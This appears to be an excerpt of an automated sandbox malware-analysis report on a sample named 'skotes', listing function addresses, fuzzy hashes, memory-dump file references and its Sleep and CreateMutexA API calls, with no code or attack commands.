Opcode Fuzzy Hash: 6f20e00e8fd3c4ab57d31a8f42365aa2a84bca2bd204bc73083b1f5f7e938cd1
Instruction Fuzzy Hash: AD312671604200DFEB18AB78DE897AEB7A2EBC6314F208318E114D73D6D77D9980C761

Function 007A9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8828db4312eb83a74b4d6e4fbba2d21a506f8ea4661ec689846c79eebd04f877
Instruction ID: 63f69529a58a49b1df24c811eae76f566f416d3d49b1ba59f74d87e233535e10
Opcode Fuzzy Hash: 8828db4312eb83a74b4d6e4fbba2d21a506f8ea4661ec689846c79eebd04f877
Instruction Fuzzy Hash: 84314831604100AFEB189B78DE887ADB762EBC6314F208319E114DB2D5E73EA980C752

Function 007AA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 751bbeb57547238e4dd32233f468818016a989eb4621ce3fffce8eab151448ea
Instruction ID: 9244769da4f48478ddfb347d8e413a03f15e7b3893402f93dd5ee0da21886b09
Opcode Fuzzy Hash: 751bbeb57547238e4dd32233f468818016a989eb4621ce3fffce8eab151448ea
Instruction Fuzzy Hash: 03312731604104ABEB189B78DE89BADB772DBC6314F204319E114973D1E73EA980C712

Function 007AA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e7c5786252cd2f70afe6be9486879ad4f74083cd2371a69e7ad71f28ee3ef258
Instruction ID: ef3149aaf37d3d4aeff03d9c0ddabd57207703cf5e2af48a12bf309075f324e1
Opcode Fuzzy Hash: e7c5786252cd2f70afe6be9486879ad4f74083cd2371a69e7ad71f28ee3ef258
Instruction Fuzzy Hash: 91310731A04104AFFB189BA8DD897ADB772ABC7314F244319E114972D1E77E9980C712

Function 007AA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3439d53e91f5c57cba5748e80831d6f10b01cb66f0f0375dbe8ee9ee1bb59e5f
Instruction ID: d8b800fe7b9c38877b036e6e850b50d998bf021f4678dc7df7d24128f95db813
Opcode Fuzzy Hash: 3439d53e91f5c57cba5748e80831d6f10b01cb66f0f0375dbe8ee9ee1bb59e5f
Instruction Fuzzy Hash: 9F311731A04240ABEB189BBCD9897ADB771EFC6314F204319E154973D5E77D6980C762

Function 007AA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
